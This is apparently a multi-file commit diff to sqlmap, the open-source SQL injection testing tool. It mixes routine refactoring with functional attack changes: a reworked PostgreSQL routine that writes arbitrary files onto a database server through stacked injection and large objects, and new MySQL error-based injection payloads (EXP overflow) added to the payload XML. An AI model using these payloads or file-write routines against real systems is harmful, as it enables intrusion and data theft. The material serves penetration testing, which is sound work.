from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads from lib.core.threads import runThreads
from lib.parse.sitemap import parseSitemap from lib.parse.sitemap import parseSitemap

View File

@ -31,7 +31,7 @@ from lib.request.httpshandler import HTTPSHandler
class Google(object): class Google(object):
""" """
This class defines methods used to perform Google dorking (command This class defines methods used to perform Google dorking (command
line option '-g <google dork>' line option '-g <google dork>')
""" """
def __init__(self, handlers): def __init__(self, handlers):

View File

@ -59,7 +59,6 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HASH from lib.core.enums import HASH
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_PASSWORD_SUFFIXES
from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import COMMON_USER_COLUMNS
@ -668,8 +667,9 @@ def dictionaryAttack(attack_dict):
hash_regexes = [] hash_regexes = []
results = [] results = []
resumes = [] resumes = []
processException = False
user_hash = [] user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items(): for (_, hashes) in attack_dict.items():
for hash_ in hashes: for hash_ in hashes:
@ -693,6 +693,7 @@ def dictionaryAttack(attack_dict):
if not hash_: if not hash_:
continue continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_): if re.match(hash_regex, hash_):
@ -770,7 +771,7 @@ def dictionaryAttack(attack_dict):
except Exception, ex: except Exception, ex:
warnMsg = "there was a problem while loading dictionaries" warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % ex warnMsg += " ('%s')" % ex.message
logger.critical(warnMsg) logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] " message = "do you want to use common password suffixes? (slow!) [y/N] "
@ -955,9 +956,8 @@ def dictionaryAttack(attack_dict):
results.extend(resumes) results.extend(resumes)
if len(hash_regexes) == 0: if foundHash and len(hash_regexes) == 0:
warnMsg = "unknown hash format. " warnMsg = "unknown hash format"
warnMsg += "Please report by e-mail to 'dev@sqlmap.org'"
logger.warn(warnMsg) logger.warn(warnMsg)
if len(results) == 0: if len(results) == 0:

View File

@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission
import imp import imp
import logging import logging
import os import os
import re
import sys import sys
import warnings import warnings

View File

@ -14,6 +14,7 @@ from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf from lib.core.data import conf
@ -136,7 +137,7 @@ class Enumeration(GenericEnumeration):
tables = [] tables = []
for index in xrange(int(count)): for index in xrange(int(count)):
_ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index)
table = inject.getValue(_, union=False, error=False) table = inject.getValue(_, union=False, error=False)
if not isNoneValue(table): if not isNoneValue(table):

View File

@ -343,7 +343,6 @@ class Filesystem(GenericFilesystem):
logger.info(infoMsg) logger.info(infoMsg)
chunkMaxSize = 500 chunkMaxSize = 500
dFileName = ntpath.basename(dFile)
randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile) randFilePath = "%s\%s" % (tmpPath, randFile)

View File

@ -7,6 +7,8 @@ See the file 'doc/COPYING' for copying permission
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf from lib.core.data import conf
@ -97,8 +99,11 @@ class Filesystem(GenericFilesystem):
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg) logger.debug(debugMsg)
pushValue(kb.forceWhere)
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
unionUse(sqlQuery, unpack=False) unionUse(sqlQuery, unpack=False)
kb.forceWhere = popValue()
warnMsg = "expect junk characters inside the " warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from UNION query" warnMsg += "file as a leftover from UNION query"

View File

@ -8,15 +8,16 @@ See the file 'doc/COPYING' for copying permission
import os import os
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import LOBLKSIZE
from lib.request import inject from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem): class Filesystem(GenericFilesystem):
def __init__(self): def __init__(self):
self.oid = None self.oid = None
self.page = None
GenericFilesystem.__init__(self) GenericFilesystem.__init__(self)
@ -35,34 +36,13 @@ class Filesystem(GenericFilesystem):
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
wFileSize = os.path.getsize(wFile) wFileSize = os.path.getsize(wFile)
content = open(wFile, "rb").read()
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise SqlmapUnsupportedFeatureException(errMsg)
self.oid = randomInt() self.oid = randomInt()
self.page = 0
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly " debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table" debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -70,44 +50,27 @@ class Filesystem(GenericFilesystem):
# References: # References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid)
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
debugMsg = "updating the system large objects table assigning to " for offset in xrange(0, wFileSize, LOBLKSIZE):
debugMsg += "the just created OID the binary (base64 decoded) UDF " fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
debugMsg += "as data" sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug(debugMsg)
# Refereces: for sqlQuery in sqlQueries:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html inject.goStacked(sqlQuery)
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
#
# Inject manually into PostgreSQL system table pg_largeobject the
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
# not accept UPDATE into that table for some reason.
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "9.0": inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName)
else:
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) self.page += 1
debugMsg = "exporting the OID %s file content to " % fileType debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile debugMsg += "file '%s'" % dFile
logger.debug(debugMsg) logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck) written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

View File

@ -120,9 +120,12 @@ class Custom:
if not sfile: if not sfile:
continue continue
query = getSQLSnippet(Backend.getDbms(), sfile) snippet = getSQLSnippet(Backend.getDbms(), sfile)
infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile)
logger.info(infoMsg)
if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))):
for query in filter(None, snippet.split(';' if ';' in snippet else '\n')):
query = query.strip()
if query:
conf.dumper.query(query, self.sqlQuery(query)) conf.dumper.query(query, self.sqlQuery(query))
else:
conf.dumper.query(snippet, self.sqlQuery(snippet))

View File

@ -742,6 +742,7 @@ class Databases:
infoMsg = "enumerating database management system schema" infoMsg = "enumerating database management system schema"
logger.info(infoMsg) logger.info(infoMsg)
try:
pushValue(conf.db) pushValue(conf.db)
pushValue(conf.tbl) pushValue(conf.tbl)
pushValue(conf.col) pushValue(conf.col)
@ -764,7 +765,7 @@ class Databases:
conf.tbl = tbl conf.tbl = tbl
self.getColumns() self.getColumns()
finally:
conf.col = popValue() conf.col = popValue()
conf.tbl = popValue() conf.tbl = popValue()
conf.db = popValue() conf.db = popValue()

View File

@ -341,13 +341,13 @@ class Entries:
attackDumpedTable() attackDumpedTable()
except (IOError, OSError), ex: except (IOError, OSError), ex:
errMsg = "an error occurred while attacking " errMsg = "an error occurred while attacking "
errMsg += "table dump ('%s')" % ex errMsg += "table dump ('%s')" % ex.message
logger.critical(errMsg) logger.critical(errMsg)
conf.dumper.dbTableValues(kb.data.dumpedTable) conf.dumper.dbTableValues(kb.data.dumpedTable)
except SqlmapConnectionException, ex: except SqlmapConnectionException, ex:
errMsg = "connection exception detected in dumping phase " errMsg = "connection exception detected in dumping phase "
errMsg += "('%s')" % ex errMsg += "('%s')" % ex.message
logger.critical(errMsg) logger.critical(errMsg)
finally: finally:

View File

@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
""" """
import os import os
import sys
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToOutFile from lib.core.common import dataToOutFile
@ -13,6 +14,7 @@ from lib.core.common import Backend
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import decloakToTemp from lib.core.common import decloakToTemp
from lib.core.common import decodeHexValue from lib.core.common import decodeHexValue
from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import isStackingAvailable from lib.core.common import isStackingAvailable
@ -42,7 +44,7 @@ class Filesystem:
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead: elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
@ -62,6 +64,7 @@ class Filesystem:
if isNumPosStrValue(remoteFileSize): if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize) remoteFileSize = long(remoteFileSize)
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
sameFile = False sameFile = False
if localFileSize == remoteFileSize: if localFileSize == remoteFileSize:
@ -105,20 +108,27 @@ class Filesystem:
return sqlQueries return sqlQueries
def fileEncode(self, fileName, encoding, single): def fileEncode(self, fileName, encoding, single, chunkSize=256):
""" """
Called by MySQL and PostgreSQL plugins to write a file on the Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system back-end DBMS underlying file system
""" """
retVal = []
with open(fileName, "rb") as f: with open(fileName, "rb") as f:
content = f.read().encode(encoding).replace("\n", "") content = f.read()
return self.fileContentEncode(content, encoding, single, chunkSize)
def fileContentEncode(self, content, encoding, single, chunkSize=256):
retVal = []
if encoding:
content = content.encode(encoding).replace("\n", "")
if not single: if not single:
if len(content) > 256: if len(content) > chunkSize:
for i in xrange(0, len(content), 256): for i in xrange(0, len(content), chunkSize):
_ = content[i:i + 256] _ = content[i:i + chunkSize]
if encoding == "hex": if encoding == "hex":
_ = "0x%s" % _ _ = "0x%s" % _
@ -232,7 +242,7 @@ class Filesystem:
fileContent = newFileContent fileContent = newFileContent
if fileContent is not None: if fileContent is not None:
fileContent = decodeHexValue(fileContent) fileContent = decodeHexValue(fileContent, True)
if fileContent: if fileContent:
localFilePath = dataToOutFile(remoteFile, fileContent) localFilePath = dataToOutFile(remoteFile, fileContent)

View File

@ -715,16 +715,13 @@ updateAll = False
[Miscellaneous] [Miscellaneous]
# Use short mnemonics (e.g. "flu,bat,ban,tec=EU").
mnemonics =
# Run host OS command(s) when SQL injection is found. # Run host OS command(s) when SQL injection is found.
alert = alert =
# Set question answers (e.g. "quit=N,follow=N"). # Set question answers (e.g. "quit=N,follow=N").
answers = answers =
# Make a beep sound when SQL injection is found. # Beep on question and/or when SQL injection is found.
# Valid: True or False # Valid: True or False
beep = False beep = False
@ -757,6 +754,10 @@ identifyWaf = False
# Valid: True or False # Valid: True or False
mobile = False mobile = False
# Work in offline mode (only use session data)
# Valid: True or False
offline = False
# Display page rank (PR) for Google dork results. # Display page rank (PR) for Google dork results.
# Valid: True or False # Valid: True or False
pageRank = False pageRank = False

View File

@ -12,7 +12,6 @@ import os
import re import re
import shutil import shutil
import sys import sys
import tempfile
import time import time
import traceback import traceback
import warnings import warnings
@ -28,7 +27,6 @@ from lib.core.common import createGithubIssue
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import maskSensitiveData from lib.core.common import maskSensitiveData
from lib.core.common import setColor
from lib.core.common import setPaths from lib.core.common import setPaths
from lib.core.common import weAreFrozen from lib.core.common import weAreFrozen
from lib.core.data import cmdLineOptions from lib.core.data import cmdLineOptions
@ -62,7 +60,7 @@ def modulePath():
except NameError: except NameError:
_ = inspect.getsourcefile(modulePath) _ = inspect.getsourcefile(modulePath)
return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding()) return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
def main(): def main():
""" """
@ -71,6 +69,15 @@ def main():
try: try:
paths.SQLMAP_ROOT_PATH = modulePath() paths.SQLMAP_ROOT_PATH = modulePath()
try:
os.path.isdir(paths.SQLMAP_ROOT_PATH)
except UnicodeEncodeError:
errMsg = "your system does not properly handle non-ASCII paths. "
errMsg += "Please move the sqlmap's directory to the other location"
logger.error(errMsg)
exit()
setPaths() setPaths()
# Store original command line options for possible later restoration # Store original command line options for possible later restoration

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "360 Web Application Firewall (360)" __product__ = "360 Web Application Firewall (360)"

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Anquanbao Web Application Firewall (Anquanbao)" __product__ = "Anquanbao Web Application Firewall (Anquanbao)"

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Yunjiasu Web Application Firewall (Baidu)" __product__ = "Yunjiasu Web Application Firewall (Baidu)"

View File

@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "EdgeCast WAF (Verizon)" __product__ = "EdgeCast WAF (Verizon)"
def detect(get_page): def detect(get_page):
retval = False retVal = False
for vector in WAF_ATTACK_VECTORS: for vector in WAF_ATTACK_VECTORS:
page, headers, code = get_page(get=vector) page, headers, code = get_page(get=vector)
retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
if retval: if retVal:
break break
return retval return retVal

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Safedog Web Application Firewall (Safedog)" __product__ = "Safedog Web Application Firewall (Safedog)"

View File

@ -5,9 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "SEnginx (Neusoft Corporation)" __product__ = "SEnginx (Neusoft Corporation)"

View File

@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Sucuri WebSite Firewall" __product__ = "Sucuri WebSite Firewall"
def detect(get_page): def detect(get_page):
retval = False retVal = False
for vector in WAF_ATTACK_VECTORS: for vector in WAF_ATTACK_VECTORS:
page, headers, code = get_page(get=vector) page, headers, code = get_page(get=vector)
retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
if retval: if retVal:
break break
return retval return retVal

View File

@ -149,6 +149,46 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 OR error-based - WHERE, HAVING clause (EXP)</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title> <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
<stype>2</stype> <stype>2</stype>
@ -682,6 +722,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.5 error-based - Parameter replace (EXP)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
<vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title> <title>MySQL &gt;= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
<stype>2</stype> <stype>2</stype>
@ -898,6 +958,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title> <title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
<stype>2</stype> <stype>2</stype>